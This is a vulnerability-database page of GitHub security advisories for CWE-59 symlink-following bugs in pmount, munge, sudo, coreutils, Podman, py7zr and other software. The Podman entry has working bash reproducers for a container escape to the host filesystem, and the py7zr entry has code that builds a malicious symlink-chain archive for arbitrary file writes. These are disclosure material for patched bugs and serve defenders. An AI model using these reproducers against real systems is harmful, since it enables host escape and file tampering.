Common Weakness Enumeration
CWE-59
AllowedImproper Link Resolution Before File Access ('Link Following')
Abstraction: Base · Status: Draft
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
2244 vulnerabilities reference this CWE, most recent first.
GHSA-Q62V-8XFC-782R
Vulnerability from github – Published: 2022-05-17 05:50 – Updated: 2022-05-17 05:50
VLAI
Details
The make_lockdir_name function in policy.c in pmount 0.9.18 allow local users to overwrite arbitrary files via a symlink attack on a file in /var/lock/.
{
"affected": [],
"aliases": [
"CVE-2010-2192"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-06-18T16:30:00Z",
"severity": "LOW"
},
"details": "The make_lockdir_name function in policy.c in pmount 0.9.18 allow local users to overwrite arbitrary files via a symlink attack on a file in /var/lock/.",
"id": "GHSA-q62v-8xfc-782r",
"modified": "2022-05-17T05:50:08Z",
"published": "2022-05-17T05:50:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-2192"
},
{
"type": "WEB",
"url": "http://security.debian.org/pool/updates/main/p/pmount/pmount_0.9.18-2+lenny1.diff.gz"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2010/dsa-2063"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/40939"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/1520"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-Q63P-X3H7-V3P5
Vulnerability from github – Published: 2022-05-24 17:07 – Updated: 2023-01-31 21:30
VLAI
Details
A Symbolic Link (Symlink) Following vulnerability in the packaging of munge in SUSE SUSE Linux Enterprise Server 15; openSUSE Factory allowed local attackers to escalate privileges from user munge to root. This issue affects: SUSE SUSE Linux Enterprise Server 15 munge versions prior to 0.5.13-4.3.1. openSUSE Factory munge versions prior to 0.5.13-6.1.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2019-3691"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-01-23T16:15:00Z",
"severity": "HIGH"
},
"details": "A Symbolic Link (Symlink) Following vulnerability in the packaging of munge in SUSE SUSE Linux Enterprise Server 15; openSUSE Factory allowed local attackers to escalate privileges from user munge to root. This issue affects: SUSE SUSE Linux Enterprise Server 15 munge versions prior to 0.5.13-4.3.1. openSUSE Factory munge versions prior to 0.5.13-6.1.",
"id": "GHSA-q63p-x3h7-v3p5",
"modified": "2023-01-31T21:30:19Z",
"published": "2022-05-24T17:07:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3691"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1155075"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q66J-GJ7H-P9HM
Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-06-03 00:00
VLAI
Details
Privilege escalation via arbitrary file write in pritunl electron client 1.0.1116.6 through v1.2.2550.20. Successful exploitation of the issue may allow an attacker to execute code on the effected system with root privileges.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2020-25989"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-19T21:15:00Z",
"severity": "CRITICAL"
},
"details": "Privilege escalation via arbitrary file write in pritunl electron client 1.0.1116.6 through v1.2.2550.20. Successful exploitation of the issue may allow an attacker to execute code on the effected system with root privileges.",
"id": "GHSA-q66j-gj7h-p9hm",
"modified": "2022-06-03T00:00:38Z",
"published": "2022-05-24T17:34:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25989"
},
{
"type": "WEB",
"url": "https://github.com/pritunl/pritunl-client-electron/commit/89f8c997c6f93e724f68f76f7f47f8891d9acc2d"
},
{
"type": "WEB",
"url": "https://vkas-afk.github.io/vuln-disclosures"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q66Q-FX2P-7W4M
Vulnerability from github – Published: 2025-07-01 20:13 – Updated: 2025-07-02 18:56
VLAI
Summary
@modelcontextprotocol/server-filesystem allows for path validation bypass via prefix matching and symlink handling
Details
Versions of Filesystem prior to 0.6.3 & 2025.7.1 could allow access to unintended files via symlinks within allowed directories. Users are advised to upgrade to 2025.7.1 to resolve.
Thank you to Elad Beber (Cymulate) for reporting these issues.
Severity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@modelcontextprotocol/server-filesystem"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.6.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@modelcontextprotocol/server-filesystem"
},
"ranges": [
{
"events": [
{
"introduced": "2025.1.14"
},
{
"fixed": "2025.7.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-53109"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-01T20:13:56Z",
"nvd_published_at": "2025-07-02T15:15:27Z",
"severity": "HIGH"
},
"details": "Versions of Filesystem prior to 0.6.3 \u0026 2025.7.1 could allow access to unintended files via symlinks within allowed directories. Users are advised to upgrade to 2025.7.1 to resolve.\n\nThank you to Elad Beber (Cymulate) for reporting these issues.",
"id": "GHSA-q66q-fx2p-7w4m",
"modified": "2025-07-02T18:56:39Z",
"published": "2025-07-01T20:13:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-q66q-fx2p-7w4m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53109"
},
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/servers/commit/d00c60df9d74dba8a3bb13113f8904407cda594f"
},
{
"type": "PACKAGE",
"url": "https://github.com/modelcontextprotocol/servers"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "@modelcontextprotocol/server-filesystem allows for path validation bypass via prefix matching and symlink handling"
}
GHSA-Q6R4-3WMG-FWCQ
Vulnerability from github – Published: 2026-06-18 14:28 – Updated: 2026-06-18 14:28
VLAI
Summary
Podman: WORKDIR symlink traversal vulnerability
Details
Summary
Running a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition.
Patch
https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0
Details
This issue was fixed in podman 5.7.1 (git commit 7ce2e00ab140c11a68301f0b161f51984131a858)
PoC
The reproducer script test1.bash demonstrates the vulnerability.
The directory /var/BREAKOUT is created on the host.
The container process uses the container directory /var/BREAKOUT as current working directory.
The reproducer script test2.bash demonstrates the same vulnerability.
The directory /var/BREAKOUT is created on the host.
The container process uses the container directory /usr/local as current working directory.
The reproducer script test2.bash shows that the working directory can be different from the breakout directory.
Reproducer test1.bash
#!/bin/bash
set -o errexit
set -o nounset
if [ -e /var/BREAKOUT ]; then
echo error: path /var/BREAKOUT should not exist beforehand
exit 1
fi
dir=$(mktemp -d)
cat > $dir/Containerfile << 'EOF'
FROM docker.io/library/alpine
RUN cd / && ln -s ../../../../../../../var symlink
USER 1234:1234
WORKDIR /symlink/BREAKOUT
CMD ["/bin/sh","-c","echo current working directory: $(pwd)"]
EOF
podman build -q --no-cache -t img $dir
podman run --rm localhost/img
ls -ld /var/BREAKOUT
Reproducer test2.bash
#!/bin/bash
set -o errexit
set -o nounset
if [ -e /var/BREAKOUT ]; then
echo error: path /var/BREAKOUT should not exist beforehand
exit 1
fi
dir=$(mktemp -d)
cat > $dir/Containerfile << 'EOF'
FROM docker.io/library/alpine
ARG breakout_dirname=/var
ARG breakout_basename=BREAKOUT
ARG produce_pwd=/usr/local
RUN mkdir -p /0/1/2/3 && \
cd /0 && \
ln -s 1/2/3 symlink1 && \
mkdir -p /0/1/symlink2/${breakout_dirname} && \
cd /0/1/symlink2/${breakout_dirname} && \
ln -s ${produce_pwd} ${breakout_basename}
RUN cd / && ln -s ../../../../../../.. symlink2
USER 1234:1234
WORKDIR /0/symlink1/../../symlink2/${breakout_dirname}/${breakout_basename}
CMD ["/bin/sh","-c","echo current working directory: $(pwd)"]
EOF
podman build -q --no-cache -t img $dir
podman run --rm localhost/img
ls -ld /var/BREAKOUT
Vulnerable:
podman 5.7.0 using Fedora CoreOS 43.20251120.3.0
root@localhost:~# bash test1.bash
38c27b69c61941741f49c3f87b589b422391d5908659665cabf248934be0ed80
current working directory: /var/BREAKOUT
drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT
root@localhost:~# rmdir /var/BREAKOUT/
root@localhost:~# bash test2.bash
c3390edbe393a3f3b182e60c5900cf93444b5120fbe34dc305478b3b77a106c9
current working directory: /usr/local
drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT
Not vulnerable:
podman 5.7.1 using Fedora CoreOS 43.20260119.1.1
root@localhost:~# bash test1.bash
0229bf752a821d5b9bb8afcf4b94e8de2a4838798ae8065414b7f939b81d0788
current working directory: /var/BREAKOUT
ls: cannot access '/var/BREAKOUT': No such file or directory
root@localhost:~# bash test2.bash
568584150a93a003feb8ae1985173bf50ced9cba4d52f9734cb70dc75eeb7c60
current working directory: /usr/local
ls: cannot access '/var/BREAKOUT': No such file or directory
Credits
We like to thank Erik Sjölund (@eriksjolund) for reporting the security impact to us.
Severity
5.3 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.7.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/containers/podman/v5"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.7.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/containers/podman/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "4.9.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/containers/podman/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.4.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55686"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T14:28:26Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nRunning a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition.\n\n### Patch\n\nhttps://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0\n\n### Details\n\nThis issue was fixed in podman 5.7.1 (git commit 7ce2e00ab140c11a68301f0b161f51984131a858)\n\n### PoC\n\nThe reproducer script _test1.bash_ demonstrates the vulnerability. \nThe directory `/var/BREAKOUT` is created on the host.\nThe container process uses the container directory `/var/BREAKOUT` as current working directory.\n\nThe reproducer script _test2.bash_ demonstrates the same vulnerability. \nThe directory `/var/BREAKOUT` is created on the host.\nThe container process uses the container directory `/usr/local` as current working directory.\n\nThe reproducer script _test2.bash_ shows that the working directory can be different from the breakout directory.\n\nReproducer **test1.bash**\n\n```\n#!/bin/bash\nset -o errexit\nset -o nounset\n\nif [ -e /var/BREAKOUT ]; then\n echo error: path /var/BREAKOUT should not exist beforehand\n exit 1\nfi\n\ndir=$(mktemp -d)\ncat \u003e $dir/Containerfile \u003c\u003c \u0027EOF\u0027\nFROM docker.io/library/alpine\nRUN cd / \u0026\u0026 ln -s ../../../../../../../var symlink\nUSER 1234:1234\nWORKDIR /symlink/BREAKOUT\nCMD [\"/bin/sh\",\"-c\",\"echo current working directory: $(pwd)\"]\nEOF\n\npodman build -q --no-cache -t img $dir\npodman run --rm localhost/img\nls -ld /var/BREAKOUT\n```\n\n\nReproducer **test2.bash**\n\n```\n#!/bin/bash\nset -o errexit\nset -o nounset\n\nif [ -e /var/BREAKOUT ]; then\n echo error: path /var/BREAKOUT should not exist beforehand\n exit 1\nfi\n\ndir=$(mktemp -d)\ncat \u003e $dir/Containerfile \u003c\u003c \u0027EOF\u0027\nFROM docker.io/library/alpine\nARG breakout_dirname=/var\nARG breakout_basename=BREAKOUT\nARG produce_pwd=/usr/local\nRUN mkdir -p /0/1/2/3 \u0026\u0026 \\\n cd /0 \u0026\u0026 \\\n ln -s 1/2/3 symlink1 \u0026\u0026 \\\n mkdir -p /0/1/symlink2/${breakout_dirname} \u0026\u0026 \\\n cd /0/1/symlink2/${breakout_dirname} \u0026\u0026 \\\n ln -s ${produce_pwd} ${breakout_basename}\nRUN cd / \u0026\u0026 ln -s ../../../../../../.. symlink2\nUSER 1234:1234\nWORKDIR /0/symlink1/../../symlink2/${breakout_dirname}/${breakout_basename}\nCMD [\"/bin/sh\",\"-c\",\"echo current working directory: $(pwd)\"]\nEOF\n\npodman build -q --no-cache -t img $dir\npodman run --rm localhost/img\nls -ld /var/BREAKOUT\n```\n\n\n\nVulnerable:\n\npodman 5.7.0 using Fedora CoreOS 43.20251120.3.0\n\n```\nroot@localhost:~# bash test1.bash \n38c27b69c61941741f49c3f87b589b422391d5908659665cabf248934be0ed80\ncurrent working directory: /var/BREAKOUT\ndrwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT\nroot@localhost:~# rmdir /var/BREAKOUT/\nroot@localhost:~# bash test2.bash \nc3390edbe393a3f3b182e60c5900cf93444b5120fbe34dc305478b3b77a106c9\ncurrent working directory: /usr/local\ndrwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT\n```\n\nNot vulnerable:\n\npodman 5.7.1 using Fedora CoreOS 43.20260119.1.1\n\n```\nroot@localhost:~# bash test1.bash \n0229bf752a821d5b9bb8afcf4b94e8de2a4838798ae8065414b7f939b81d0788\ncurrent working directory: /var/BREAKOUT\nls: cannot access \u0027/var/BREAKOUT\u0027: No such file or directory\nroot@localhost:~# bash test2.bash \n568584150a93a003feb8ae1985173bf50ced9cba4d52f9734cb70dc75eeb7c60\ncurrent working directory: /usr/local\nls: cannot access \u0027/var/BREAKOUT\u0027: No such file or directory\n```\n\n### Credits\n\nWe like to thank Erik Sj\u00f6lund (@eriksjolund) for reporting the security impact to us.",
"id": "GHSA-q6r4-3wmg-fwcq",
"modified": "2026-06-18T14:28:26Z",
"published": "2026-06-18T14:28:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/podman-container-tools/podman/security/advisories/GHSA-q6r4-3wmg-fwcq"
},
{
"type": "WEB",
"url": "https://github.com/podman-container-tools/podman/commit/7ce2e00ab140c11a68301f0b161f51984131a858"
},
{
"type": "WEB",
"url": "https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0"
},
{
"type": "PACKAGE",
"url": "https://github.com/podman-container-tools/podman"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Podman: WORKDIR symlink traversal vulnerability"
}
GHSA-Q6RC-2CGV-63H7
Vulnerability from github – Published: 2026-06-19 19:21 – Updated: 2026-07-21 13:17
VLAI
Summary
py7zr: Arbitrary File Write Vulnerability
Details
Summary
There exists an arbitrary file write vulnerability in py7zr (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.
Details
The root cause of this vulnerability is that py7zr fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor.
PoC
Construct PoC Archive File
The following pseudo-code illustrates the vulnerable logic.
def create_sevenz_exp(output_dir: str):
filename = "archive.7z"
file_path = output_dir + filename
with py7zr.SevenZipFile(file_path, 'w') as archive:
archive.writestr("Some Text", "dir0/someFile.txt")
add_symlink(archive, "dir1", "dir0/..")
add_symlink(archive, "dir2", "dir1/..")
add_symlink(archive, "dir3", "dir2/..")
add_symlink(archive, "dir4", "dir3/..")
add_symlink(archive, "dir5", "dir4/..")
add_symlink(archive, "dir6", "dir5/..")
add_symlink(archive, "dir7", "dir6/..")
add_symlink(archive, "dir8", "dir7/..")
add_symlink(archive, "myTmp", "dir8/tmp")
archive.writestr("Malicious Text\n", "myTmp/poc.txt")
Unpack the archive
Use common decompression methods, then extract the archive.
import sys
import os
import py7zr
def extract_7z(seven_path, output_dir):
os.makedirs(output_dir, exist_ok=True)
with py7zr.SevenZipFile(seven_path, mode='r') as z:
z.extractall(path=output_dir)
print(f"Extracted '{seven_path}' to '{output_dir}'")
if __name__ == "__main__":
seven_file = sys.argv[1]
base_name = os.path.splitext(os.path.basename(seven_file))[0]
output = base_name + "_sevenz_output"
extract_7z(seven_file, output)
Impact
After decompression, the output directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.
Severity
8.0 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.1.2"
},
"package": {
"ecosystem": "PyPI",
"name": "py7zr"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23879"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T19:21:57Z",
"nvd_published_at": "2026-06-24T20:16:31Z",
"severity": "HIGH"
},
"details": "### Summary\nThere exists an **arbitrary file write vulnerability** in `py7zr` (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using `extractall` to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.\n\n### Details\nThe root cause of this vulnerability is that `py7zr` fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor.\n\n\u003cimg width=\"1806\" height=\"834\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cdd27ddb-ba79-4b20-b8b9-21f3e16a6e8b\" /\u003e\n\n\n### PoC\n#### **Construct PoC Archive File**\nThe following pseudo-code illustrates the vulnerable logic.\n\n```python\ndef create_sevenz_exp(output_dir: str):\n filename = \"archive.7z\"\n file_path = output_dir + filename\n with py7zr.SevenZipFile(file_path, \u0027w\u0027) as archive:\n archive.writestr(\"Some Text\", \"dir0/someFile.txt\")\n add_symlink(archive, \"dir1\", \"dir0/..\")\n add_symlink(archive, \"dir2\", \"dir1/..\")\n add_symlink(archive, \"dir3\", \"dir2/..\")\n add_symlink(archive, \"dir4\", \"dir3/..\")\n add_symlink(archive, \"dir5\", \"dir4/..\")\n add_symlink(archive, \"dir6\", \"dir5/..\")\n add_symlink(archive, \"dir7\", \"dir6/..\")\n add_symlink(archive, \"dir8\", \"dir7/..\")\n add_symlink(archive, \"myTmp\", \"dir8/tmp\")\n archive.writestr(\"Malicious Text\\n\", \"myTmp/poc.txt\")\n```\n\n#### **Unpack the archive**\n\nUse common decompression methods, then extract the archive.\n\n```python\nimport sys\nimport os\nimport py7zr\n\ndef extract_7z(seven_path, output_dir):\n os.makedirs(output_dir, exist_ok=True)\n with py7zr.SevenZipFile(seven_path, mode=\u0027r\u0027) as z:\n z.extractall(path=output_dir)\n print(f\"Extracted \u0027{seven_path}\u0027 to \u0027{output_dir}\u0027\")\n\nif __name__ == \"__main__\":\n seven_file = sys.argv[1]\n base_name = os.path.splitext(os.path.basename(seven_file))[0]\n output = base_name + \"_sevenz_output\"\n\n extract_7z(seven_file, output)\n```\n\n### Impact\n\u003cimg width=\"1268\" height=\"572\" alt=\"image\" src=\"https://github.com/user-attachments/assets/919b5ff6-97ba-4781-b3e4-e9c9cc0f229b\" /\u003e\n\nAfter decompression, the `output` directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.",
"id": "GHSA-q6rc-2cgv-63h7",
"modified": "2026-07-21T13:17:00Z",
"published": "2026-06-19T19:21:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/miurahr/py7zr/security/advisories/GHSA-q6rc-2cgv-63h7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23879"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-q6rc-2cgv-63h7"
},
{
"type": "PACKAGE",
"url": "https://github.com/miurahr/py7zr"
},
{
"type": "WEB",
"url": "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/py7zr/PYSEC-2026-2974.yaml"
},
{
"type": "WEB",
"url": "https://pypi.org/project/py7zr"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "py7zr: Arbitrary File Write Vulnerability"
}
GHSA-Q78X-6FFP-9VHR
Vulnerability from github – Published: 2026-07-14 18:32 – Updated: 2026-07-14 18:32
VLAI
Details
Improper privilege management in Windows WalletService allows an authorized attacker to elevate privileges locally.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2026-49176"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T17:16:52Z",
"severity": "HIGH"
},
"details": "Improper privilege management in Windows WalletService allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-q78x-6ffp-9vhr",
"modified": "2026-07-14T18:32:00Z",
"published": "2026-07-14T18:32:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49176"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49176"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q7FW-G378-R65G
Vulnerability from github – Published: 2025-04-18 18:31 – Updated: 2026-02-24 15:30
VLAI
Details
A potential security vulnerability has been identified in the HP Touchpoint Analytics Service for certain HP PC products with versions prior to 4.2.2439. This vulnerability could potentially allow a local attacker to escalate privileges. HP is providing software updates to mitigate this potential vulnerability.
Severity
{
"affected": [],
"aliases": [
"CVE-2025-1697"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-18T18:15:43Z",
"severity": "MODERATE"
},
"details": "A potential security vulnerability has been identified in the HP Touchpoint Analytics Service for certain HP PC products with versions prior to 4.2.2439. This vulnerability could potentially allow a local attacker to escalate privileges. HP is providing software updates to mitigate this potential vulnerability.",
"id": "GHSA-q7fw-g378-r65g",
"modified": "2026-02-24T15:30:27Z",
"published": "2025-04-18T18:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1697"
},
{
"type": "WEB",
"url": "https://support.hp.com/us-en/document/ish_12269975-12269997-16/hpsbgn04008"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-Q7HF-7QCC-GMG8
Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2022-05-24 17:38
VLAI
Details
selinux_edit_copy_tfiles in sudoedit in Sudo before 1.9.5 allows a local unprivileged user to gain file ownership and escalate privileges by replacing a temporary file with a symlink to an arbitrary file target. This affects SELinux RBAC support in permissive mode. Machines without SELinux are not vulnerable.
{
"affected": [],
"aliases": [
"CVE-2021-23240"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-12T09:15:00Z",
"severity": "HIGH"
},
"details": "selinux_edit_copy_tfiles in sudoedit in Sudo before 1.9.5 allows a local unprivileged user to gain file ownership and escalate privileges by replacing a temporary file with a symlink to an arbitrary file target. This affects SELinux RBAC support in permissive mode. Machines without SELinux are not vulnerable.",
"id": "GHSA-q7hf-7qcc-gmg8",
"modified": "2022-05-24T17:38:56Z",
"published": "2022-05-24T17:38:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23240"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2021-23240"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r58af02e294bd07f487e2c64ffc0a29b837db5600e33b6e698b9d696b@%3Cissues.bookkeeper.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf4c02775860db415b4955778a131c2795223f61cb8c6a450893651e4@%3Cissues.bookkeeper.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/EE42Y35SMJOLONAIBNYNFC7J44UUZ2Y6"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GMY4VSSBIND7VAYSN6T7XIWJRWG4GBB3"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202101-33"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20210129-0010"
},
{
"type": "WEB",
"url": "https://www.sudo.ws/stable.html#1.9.5"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-Q7WW-M6JM-QMWQ
Vulnerability from github – Published: 2022-05-02 03:51 – Updated: 2022-05-02 03:51
VLAI
Details
The distcheck rule in dist-check.mk in GNU coreutils 5.2.1 through 8.1 allows local users to gain privileges via a symlink attack on a file in a directory tree under /tmp.
{
"affected": [],
"aliases": [
"CVE-2009-4135"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-12-11T16:30:00Z",
"severity": "MODERATE"
},
"details": "The distcheck rule in dist-check.mk in GNU coreutils 5.2.1 through 8.1 allows local users to gain privileges via a symlink attack on a file in a directory tree under /tmp.",
"id": "GHSA-q7ww-m6jm-qmwq",
"modified": "2022-05-02T03:51:55Z",
"published": "2022-05-02T03:51:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4135"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=545439"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/54673"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2009-December/msg00954.html"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2009-December/msg00972.html"
},
{
"type": "WEB",
"url": "http://git.savannah.gnu.org/cgit/coreutils.git/commit/?id=ae034822c535fa5"
},
{
"type": "WEB",
"url": "http://marc.info/?l=oss-security\u0026m=126030454503441\u0026w=2"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/37645"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/37860"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/62226"
},
{
"type": "WEB",
"url": "http://www.mail-archive.com/bug-coreutils%40gnu.org/msg18779.html"
},
{
"type": "WEB",
"url": "http://www.mail-archive.com/bug-coreutils%40gnu.org/msg18787.html"
},
{
"type": "WEB",
"url": "http://www.mail-archive.com/bug-coreutils@gnu.org/msg18779.html"
},
{
"type": "WEB",
"url": "http://www.mail-archive.com/bug-coreutils@gnu.org/msg18787.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2009/12/08/4"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/60853"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/37256"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2473-1"
},
{
